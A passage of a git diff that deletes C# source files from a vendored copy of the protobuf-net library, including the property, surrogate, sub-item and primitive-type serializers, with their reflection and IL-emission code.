NotSupportedException("NullDecorator only supports implementations that return values"); - - Type tailType = tail.ExpectedType; - if (Helpers.IsValueType(tailType)) - { -#if NO_GENERICS - throw new NotSupportedException("NullDecorator cannot be used with a struct without generics support"); -#else - expectedType = model.MapType(typeof (Nullable<>)).MakeGenericType(tailType); -#endif - } - else - { - expectedType = tailType; - } - } - - public override Type ExpectedType - { - get { return expectedType; } - } - - public override bool ReturnsValue - { - get { return true; } - } - - public override bool RequiresOldValue - { - get { return true; } - } - -#if FEAT_COMPILER - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local oldValue = ctx.GetLocalWithValue(expectedType, valueFrom)) - using (Compiler.Local token = new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken)))) - using (Compiler.Local field = new Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem")); - ctx.StoreValue(token); - - Compiler.CodeLabel next = ctx.DefineLabel(), processField = ctx.DefineLabel(), end = ctx.DefineLabel(); - - ctx.MarkLabel(next); - - ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); - ctx.CopyValue(); - ctx.StoreValue(field); - ctx.LoadValue(Tag); // = 1 - process - ctx.BranchIfEqual(processField, true); - ctx.LoadValue(field); - ctx.LoadValue(1); // < 1 - exit - ctx.BranchIfLess(end, false); - - // default: skip - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); - ctx.Branch(next, true); - - // process - ctx.MarkLabel(processField); - if (Tail.RequiresOldValue) - { - if (expectedType.IsValueType) - { - ctx.LoadAddress(oldValue, expectedType); - ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); - } - else - { - ctx.LoadValue(oldValue); - } - } - Tail.EmitRead(ctx, null); - // note we demanded always returns a value - if (expectedType.IsValueType) - { - ctx.EmitCtor(expectedType, Tail.ExpectedType); // re-nullable it - } - ctx.StoreValue(oldValue); - ctx.Branch(next, false); - - // outro - ctx.MarkLabel(end); - - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem")); - ctx.LoadValue(oldValue); // load the old value - } - } - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using(Compiler.Local valOrNull = ctx.GetLocalWithValue(expectedType, valueFrom)) - using(Compiler.Local token = new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken)))) - { - ctx.LoadNullRef(); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem")); - ctx.StoreValue(token); - - if (expectedType.IsValueType) - { - ctx.LoadAddress(valOrNull, expectedType); - ctx.LoadValue(expectedType.GetProperty("HasValue")); - } - else - { - ctx.LoadValue(valOrNull); - } - Compiler.CodeLabel @end = ctx.DefineLabel(); - ctx.BranchIfFalse(@end, false); - if (expectedType.IsValueType) - { - ctx.LoadAddress(valOrNull, expectedType); - ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); - } - else - { - ctx.LoadValue(valOrNull); - } - Tail.EmitWrite(ctx, null); - - ctx.MarkLabel(@end); - - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem")); - } - } -#endif - -#if !FEAT_IKVM - public override object Read(object value, ProtoReader source) - { - SubItemToken tok = ProtoReader.StartSubItem(source); - int field; - while ((field = source.ReadFieldHeader()) > 0) - { - if (field == Tag) - { - value = Tail.Read(value, source); - } - else - { - source.SkipField(); - } - } - ProtoReader.EndSubItem(tok, source); - return value; - } - - public override void Write(object value, ProtoWriter dest) - { - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - if (value != null) - { - Tail.Write(value, dest); - } - ProtoWriter.EndSubItem(token, dest); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/ParseableSerializer.cs b/Server/Core/ProtoBuf/Serializers/ParseableSerializer.cs deleted file mode 100644 index fdd6ef9e..00000000 --- a/Server/Core/ProtoBuf/Serializers/ParseableSerializer.cs +++ /dev/null @@ -1,137 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Net; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ParseableSerializer : IProtoSerializer - { - private readonly MethodInfo parse; - - public static ParseableSerializer TryCreate(Type type, TypeModel model) - { - if (type == null) throw new ArgumentNullException("type"); -#if WINRT || PORTABLE - MethodInfo method = null; - -#if WINRT - foreach (MethodInfo tmp in type.GetTypeInfo().GetDeclaredMethods("Parse")) -#else - foreach (MethodInfo tmp in type.GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly)) -#endif - { - ParameterInfo[] p; - if (tmp.Name == "Parse" && tmp.IsPublic && tmp.IsStatic && tmp.DeclaringType == type && (p = tmp.GetParameters()) != null && p.Length == 1 && p[0].ParameterType == typeof(string)) - { - method = tmp; - break; - } - } -#else - MethodInfo method = type.GetMethod("Parse", - BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly, - null, new Type[] {model.MapType(typeof (string))}, null); -#endif - if (method != null && method.ReturnType == type) - { - if (Helpers.IsValueType(type)) - { - MethodInfo toString = GetCustomToString(type); - if (toString == null || toString.ReturnType != model.MapType(typeof (string))) - return null; // need custom ToString, fools - } - return new ParseableSerializer(method); - } - return null; - } - - private static MethodInfo GetCustomToString(Type type) - { -#if WINRT - foreach (MethodInfo method in type.GetTypeInfo().GetDeclaredMethods("ToString")) - { - if (method.IsPublic && !method.IsStatic && method.GetParameters().Length == 0) return method; - } - return null; -#elif PORTABLE - MethodInfo method = Helpers.GetInstanceMethod(type, "ToString", Helpers.EmptyTypes); - if (method == null || !method.IsPublic || method.IsStatic || method.DeclaringType != type) return null; - return method; -#else - - return type.GetMethod("ToString", BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly, - null, Helpers.EmptyTypes, null); -#endif - } - - private ParseableSerializer(MethodInfo parse) - { - this.parse = parse; - } - - public Type ExpectedType - { - get { return parse.DeclaringType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return parse.Invoke(null, new object[] {source.ReadString()}); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteString(value.ToString(), dest); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Type type = ExpectedType; - if (type.IsValueType) - { // note that for structs, we've already asserted that a custom ToString - // exists; no need to handle the box/callvirt scenario - - // force it to a variable if needed, so we can take the address - using (Compiler.Local loc = ctx.GetLocalWithValue(type, valueFrom)) - { - ctx.LoadAddress(loc, type); - ctx.EmitCall(GetCustomToString(type)); - } - } - else { - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("ToString")); - } - ctx.EmitBasicWrite("WriteString", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadString", ctx.MapType(typeof(string))); - ctx.EmitCall(parse); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/PropertyDecorator.cs b/Server/Core/ProtoBuf/Serializers/PropertyDecorator.cs deleted file mode 100644 index 10fae544..00000000 --- a/Server/Core/ProtoBuf/Serializers/PropertyDecorator.cs +++ /dev/null @@ -1,195 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class PropertyDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return forType; } - } - - private readonly PropertyInfo property; - private readonly Type forType; - - public override bool RequiresOldValue - { - get { return true; } - } - - public override bool ReturnsValue - { - get { return false; } - } - - private readonly bool readOptionsWriteValue; - private readonly MethodInfo shadowSetter; - - public PropertyDecorator(TypeModel model, Type forType, PropertyInfo property, IProtoSerializer tail) - : base(tail) - { - Helpers.DebugAssert(forType != null); - Helpers.DebugAssert(property != null); - this.forType = forType; - this.property = property; - SanityCheck(model, property, tail, out readOptionsWriteValue, true, true); - shadowSetter = GetShadowSetter(model, property); - } - - private static void SanityCheck(TypeModel model, PropertyInfo property, IProtoSerializer tail, - out bool writeValue, bool nonPublic, bool allowInternal) - { - if (property == null) throw new ArgumentNullException("property"); - - writeValue = tail.ReturnsValue && - (GetShadowSetter(model, property) != null || - (property.CanWrite && Helpers.GetSetMethod(property, nonPublic, allowInternal) != null)); - if (!property.CanRead || Helpers.GetGetMethod(property, nonPublic, allowInternal) == null) - { - throw new InvalidOperationException("Cannot serialize property without a get accessor"); - } - if (!writeValue && (!tail.RequiresOldValue || Helpers.IsValueType(tail.ExpectedType))) - { - // so we can't save the value, and the tail doesn't use it either... not helpful - // or: can't write the value, so the struct value will be lost - throw new InvalidOperationException("Cannot apply changes to property " + - property.DeclaringType.FullName + "." + property.Name); - } - } - - private static MethodInfo GetShadowSetter(TypeModel model, PropertyInfo property) - { -#if WINRT - MethodInfo method = Helpers.GetInstanceMethod(property.DeclaringType.GetTypeInfo(), "Set" + property.Name, new Type[] { property.PropertyType }); -#else - -#if FEAT_IKVM - Type reflectedType = property.DeclaringType; -#else - Type reflectedType = property.ReflectedType; -#endif - MethodInfo method = Helpers.GetInstanceMethod(reflectedType, "Set" + property.Name, - new Type[] {property.PropertyType}); -#endif - if (method == null || !method.IsPublic || method.ReturnType != model.MapType(typeof (void))) return null; - return method; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - Helpers.DebugAssert(value != null); - value = property.GetValue(value, null); - if (value != null) Tail.Write(value, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value != null); - - object oldVal = Tail.RequiresOldValue ? property.GetValue(value, null) : null; - object newVal = Tail.Read(oldVal, source); - if (readOptionsWriteValue && newVal != null) // if the tail returns a null, intepret that as *no assign* - { - if (shadowSetter == null) - { - property.SetValue(value, newVal, null); - } - else - { - shadowSetter.Invoke(value, new object[] {newVal}); - } - } - return null; - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadAddress(valueFrom, ExpectedType); - ctx.LoadValue(property); - ctx.WriteNullCheckedTail(property.PropertyType, Tail, null); - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - - bool writeValue; - SanityCheck(ctx.Model, property, Tail, out writeValue, ctx.NonPublic, ctx.AllowInternal(property)); - if (ExpectedType.IsValueType && valueFrom == null) - { - throw new InvalidOperationException("Attempt to mutate struct on the head of the stack; changes would be lost"); - } - - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - if (Tail.RequiresOldValue) - { - ctx.LoadAddress(loc, ExpectedType); // stack is: old-addr - ctx.LoadValue(property); // stack is: old-value - } - Type propertyType = property.PropertyType; - ctx.ReadNullCheckedTail(propertyType, Tail, null); // stack is [new-value] - - if (writeValue) - { - using (Compiler.Local newVal = new Compiler.Local(ctx, property.PropertyType)) - { - ctx.StoreValue(newVal); // stack is empty - - Compiler.CodeLabel allDone = new Compiler.CodeLabel(); // <=== default structs - if (!propertyType.IsValueType) - { // if the tail returns a null, intepret that as *no assign* - allDone = ctx.DefineLabel(); - ctx.LoadValue(newVal); // stack is: new-value - ctx.BranchIfFalse(@allDone, true); // stack is empty - } - // assign the value - ctx.LoadAddress(loc, ExpectedType); // parent-addr - ctx.LoadValue(newVal); // parent-obj|new-value - if (shadowSetter == null) - { - ctx.StoreValue(property); // empty - } - else - { - ctx.EmitCall(shadowSetter); // empty - } - if (!propertyType.IsValueType) - { - ctx.MarkLabel(allDone); - } - } - - } - else - { // don't want return value; drop it if anything there - // stack is [new-value] - if (Tail.ReturnsValue) { ctx.DiscardValue(); } - } - } - } -#endif - - internal static bool CanWrite(TypeModel model, MemberInfo member) - { - if (member == null) throw new ArgumentNullException("member"); - - PropertyInfo prop = member as PropertyInfo; - if (prop != null) return prop.CanWrite || GetShadowSetter(model, prop) != null; - - return member is FieldInfo; // fields are always writeable; anything else: JUST SAY NO! - } - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs b/Server/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs deleted file mode 100644 index f6971531..00000000 --- a/Server/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs +++ /dev/null @@ -1,40 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal abstract class ProtoDecoratorBase : IProtoSerializer - { - public abstract Type ExpectedType { get; } - protected readonly IProtoSerializer Tail; - - protected ProtoDecoratorBase(IProtoSerializer tail) - { - this.Tail = tail; - } - - public abstract bool ReturnsValue { get; } - public abstract bool RequiresOldValue { get; } -#if !FEAT_IKVM - public abstract void Write(object value, ProtoWriter dest); - public abstract object Read(object value, ProtoReader source); -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitWrite(ctx, valueFrom); } - protected abstract void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom); - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitRead(ctx, valueFrom); } - protected abstract void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom); -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/SByteSerializer.cs b/Server/Core/ProtoBuf/Serializers/SByteSerializer.cs deleted file mode 100644 index c3fc9600..00000000 --- a/Server/Core/ProtoBuf/Serializers/SByteSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -#if !NO_RUNTIME -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SByteSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (sbyte); -#endif - - public SByteSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(sbyte)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadSByte(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteSByte((sbyte) value, dest); - } -#endif -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteSByte", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadSByte", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/SingleSerializer.cs b/Server/Core/ProtoBuf/Serializers/SingleSerializer.cs deleted file mode 100644 index a44c279f..00000000 --- a/Server/Core/ProtoBuf/Serializers/SingleSerializer.cs +++ /dev/null @@ -1,70 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SingleSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (float); -#endif - - public Type ExpectedType - { - get { return expectedType; } - } - - public SingleSerializer(TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(float)); -#endif - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadSingle(); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteSingle((float) value, dest); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteSingle", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadSingle", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/StringSerializer.cs b/Server/Core/ProtoBuf/Serializers/StringSerializer.cs deleted file mode 100644 index 4b9dc951..00000000 --- a/Server/Core/ProtoBuf/Serializers/StringSerializer.cs +++ /dev/null @@ -1,68 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class StringSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (string); -#endif - - public StringSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(string)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteString((string) value, dest); - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return source.ReadString(); - } - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicWrite("WriteString", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadString", ExpectedType); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/SubItemSerializer.cs b/Server/Core/ProtoBuf/Serializers/SubItemSerializer.cs deleted file mode 100644 index cdd68dd6..00000000 --- a/Server/Core/ProtoBuf/Serializers/SubItemSerializer.cs +++ /dev/null @@ -1,163 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; - -#if FEAT_COMPILER -#if FEAT_IKVM -using IKVM.Reflection.Emit; -using Type = IKVM.Reflection.Type; -#else -using System.Reflection.Emit; -#endif -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SubItemSerializer : IProtoTypeSerializer - { - bool IProtoTypeSerializer.HasCallbacks(TypeModel.CallbackType callbackType) - { - return ((IProtoTypeSerializer) proxy.Serializer).HasCallbacks(callbackType); - } - - bool IProtoTypeSerializer.CanCreateInstance() - { - return ((IProtoTypeSerializer) proxy.Serializer).CanCreateInstance(); - } - -#if FEAT_COMPILER - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, TypeModel.CallbackType callbackType) - { - ((IProtoTypeSerializer)proxy.Serializer).EmitCallback(ctx, valueFrom, callbackType); - } - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) - { - ((IProtoTypeSerializer)proxy.Serializer).EmitCreateInstance(ctx); - } -#endif -#if !FEAT_IKVM - void IProtoTypeSerializer.Callback(object value, TypeModel.CallbackType callbackType, - SerializationContext context) - { - ((IProtoTypeSerializer) proxy.Serializer).Callback(value, callbackType, context); - } - - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - return ((IProtoTypeSerializer) proxy.Serializer).CreateInstance(source); - } -#endif - - private readonly int key; - private readonly Type type; - private readonly ISerializerProxy proxy; - private readonly bool recursionCheck; - - public SubItemSerializer(Type type, int key, ISerializerProxy proxy, bool recursionCheck) - { - if (type == null) throw new ArgumentNullException("type"); - if (proxy == null) throw new ArgumentNullException("proxy"); - this.type = type; - this.proxy = proxy; - this.key = key; - this.recursionCheck = recursionCheck; - } - - Type IProtoSerializer.ExpectedType - { - get { return type; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return true; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - void IProtoSerializer.Write(object value, ProtoWriter dest) - { - if (recursionCheck) - { - ProtoWriter.WriteObject(value, key, dest); - } - else - { - ProtoWriter.WriteRecursionSafeObject(value, key, dest); - } - } - - object IProtoSerializer.Read(object value, ProtoReader source) - { - return ProtoReader.ReadObject(value, key, source); - } -#endif - -#if FEAT_COMPILER - bool EmitDedicatedMethod(Compiler.CompilerContext ctx, Compiler.Local valueFrom, bool read) - { -#if SILVERLIGHT - return false; -#else - MethodBuilder method = ctx.GetDedicatedMethod(key, read); - if (method == null) return false; - - using (Compiler.Local token = new ProtoBuf.Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken)))) - { - Type rwType = ctx.MapType(read ? typeof(ProtoReader) : typeof(ProtoWriter)); - ctx.LoadValue(valueFrom); - if (!read) // write requires the object for StartSubItem; read doesn't - { // (if recursion-check is disabled [subtypes] then null is fine too) - if (type.IsValueType || !recursionCheck) { ctx.LoadNullRef(); } - else { ctx.CopyValue(); } - } - ctx.LoadReaderWriter(); - ctx.EmitCall(rwType.GetMethod("StartSubItem")); - ctx.StoreValue(token); - - // note: value already on the stack - ctx.LoadReaderWriter(); - ctx.EmitCall(method); - // handle inheritance (we will be calling the *base* version of things, - // but we expect Read to return the "type" type) - if (read && type != method.ReturnType) ctx.Cast(this.type); - ctx.LoadValue(token); - - ctx.LoadReaderWriter(); - ctx.EmitCall(rwType.GetMethod("EndSubItem")); - } - return true; -#endif - } - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (!EmitDedicatedMethod(ctx, valueFrom, false)) - { - ctx.LoadValue(valueFrom); - if (type.IsValueType) ctx.CastToObject(type); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); // re-map for formality, but would expect identical, else dedicated method - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod(recursionCheck ? "WriteObject" : "WriteRecursionSafeObject")); - } - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (!EmitDedicatedMethod(ctx, valueFrom, true)) - { - ctx.LoadValue(valueFrom); - if (type.IsValueType) ctx.CastToObject(type); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); // re-map for formality, but would expect identical, else dedicated method - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ReadObject")); - ctx.CastFromObject(type); - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/SurrogateSerializer.cs b/Server/Core/ProtoBuf/Serializers/SurrogateSerializer.cs deleted file mode 100644 index 84c2499e..00000000 --- a/Server/Core/ProtoBuf/Serializers/SurrogateSerializer.cs +++ /dev/null @@ -1,194 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SurrogateSerializer : IProtoTypeSerializer - { - bool IProtoTypeSerializer.HasCallbacks(ProtoBuf.Meta.TypeModel.CallbackType callbackType) - { - return false; - } - -#if FEAT_COMPILER - void IProtoTypeSerializer.EmitCallback(Compiler.CompilerContext ctx, Compiler.Local valueFrom, ProtoBuf.Meta.TypeModel.CallbackType callbackType) { } - void IProtoTypeSerializer.EmitCreateInstance(Compiler.CompilerContext ctx) { throw new NotSupportedException(); } -#endif - - bool IProtoTypeSerializer.CanCreateInstance() - { - return false; - } - -#if !FEAT_IKVM - object IProtoTypeSerializer.CreateInstance(ProtoReader source) - { - throw new NotSupportedException(); - } - - void IProtoTypeSerializer.Callback(object value, ProtoBuf.Meta.TypeModel.CallbackType callbackType, - SerializationContext context) - { - } -#endif - - public bool ReturnsValue - { - get { return false; } - } - - public bool RequiresOldValue - { - get { return true; } - } - - public Type ExpectedType - { - get { return forType; } - } - - private readonly Type forType, declaredType; - private readonly MethodInfo toTail, fromTail; - private IProtoTypeSerializer rootTail; - - public SurrogateSerializer(TypeModel model, Type forType, Type declaredType, IProtoTypeSerializer rootTail) - { - Helpers.DebugAssert(forType != null, "forType"); - Helpers.DebugAssert(declaredType != null, "declaredType"); - Helpers.DebugAssert(rootTail != null, "rootTail"); - Helpers.DebugAssert(rootTail.RequiresOldValue, "RequiresOldValue"); - Helpers.DebugAssert(!rootTail.ReturnsValue, "ReturnsValue"); - Helpers.DebugAssert(declaredType == rootTail.ExpectedType || - Helpers.IsSubclassOf(declaredType, rootTail.ExpectedType)); - this.forType = forType; - this.declaredType = declaredType; - this.rootTail = rootTail; - toTail = GetConversion(model, true); - fromTail = GetConversion(model, false); - } - - private static bool HasCast(TypeModel model, Type type, Type from, Type to, out MethodInfo op) - { -#if WINRT - System.Collections.Generic.List list = new System.Collections.Generic.List(); - foreach (var item in type.GetRuntimeMethods()) - { - if (item.IsStatic) list.Add(item); - } - MethodInfo[] found = list.ToArray(); -#else - const BindingFlags flags = BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic; - MethodInfo[] found = type.GetMethods(flags); -#endif - ParameterInfo[] paramTypes; - Type convertAttributeType = null; - for (int i = 0; i < found.Length; i++) - { - MethodInfo m = found[i]; - if (m.ReturnType != to) continue; - paramTypes = m.GetParameters(); - if (paramTypes.Length == 1 && paramTypes[0].ParameterType == from) - { - if (convertAttributeType == null) - { - convertAttributeType = model.MapType(typeof (ProtoConverterAttribute), false); - if (convertAttributeType == null) - { - // attribute isn't defined in the source assembly: stop looking - break; - } - } - if (m.IsDefined(convertAttributeType, true)) - { - op = m; - return true; - } - } - } - - for (int i = 0; i < found.Length; i++) - { - MethodInfo m = found[i]; - if ((m.Name != "op_Implicit" && m.Name != "op_Explicit") || m.ReturnType != to) - { - continue; - } - paramTypes = m.GetParameters(); - if (paramTypes.Length == 1 && paramTypes[0].ParameterType == from) - { - op = m; - return true; - } - } - op = null; - return false; - } - - public MethodInfo GetConversion(TypeModel model, bool toTail) - { - Type to = toTail ? declaredType : forType; - Type from = toTail ? forType : declaredType; - MethodInfo op; - if (HasCast(model, declaredType, from, to, out op) || HasCast(model, forType, from, to, out op)) - { - return op; - } - throw new InvalidOperationException("No suitable conversion operator found for surrogate: " + - forType.FullName + " / " + declaredType.FullName); - } - -#if !FEAT_IKVM - public void Write(object value, ProtoWriter writer) - { - rootTail.Write(toTail.Invoke(null, new object[] {value}), writer); - } - - public object Read(object value, ProtoReader source) - { - // convert the incoming value - object[] args = {value}; - value = toTail.Invoke(null, args); - - // invoke the tail and convert the outgoing value - args[0] = rootTail.Read(value, source); - return fromTail.Invoke(null, args); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Helpers.DebugAssert(valueFrom != null); // don't support stack-head for this - using (Compiler.Local converted = new Compiler.Local(ctx, declaredType)) // declare/re-use local - { - ctx.LoadValue(valueFrom); // load primary onto stack - ctx.EmitCall(toTail); // static convert op, primary-to-surrogate - ctx.StoreValue(converted); // store into surrogate local - - rootTail.EmitRead(ctx, converted); // downstream processing against surrogate local - - ctx.LoadValue(converted); // load from surrogate local - ctx.EmitCall(fromTail); // static convert op, surrogate-to-primary - ctx.StoreValue(valueFrom); // store back into primary - } - } - - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.EmitCall(toTail); - rootTail.EmitWrite(ctx, null); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs b/Server/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs deleted file mode 100644 index 0a0cf275..00000000 --- a/Server/Core/ProtoBuf/Serializers/SystemTypeSerializer.cs +++ /dev/null @@ -1,69 +0,0 @@ -using System; -#if !NO_RUNTIME -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class SystemTypeSerializer : IProtoSerializer - { -#if FEAT_IKVM - readonly Type expectedType; -#else - private static readonly Type expectedType = typeof (System.Type); -#endif - - public SystemTypeSerializer(ProtoBuf.Meta.TypeModel model) - { -#if FEAT_IKVM - expectedType = model.MapType(typeof(System.Type)); -#endif - } - - public Type ExpectedType - { - get { return expectedType; } - } - -#if !FEAT_IKVM - void IProtoSerializer.Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteType((Type) value, dest); - } - - object IProtoSerializer.Read(object 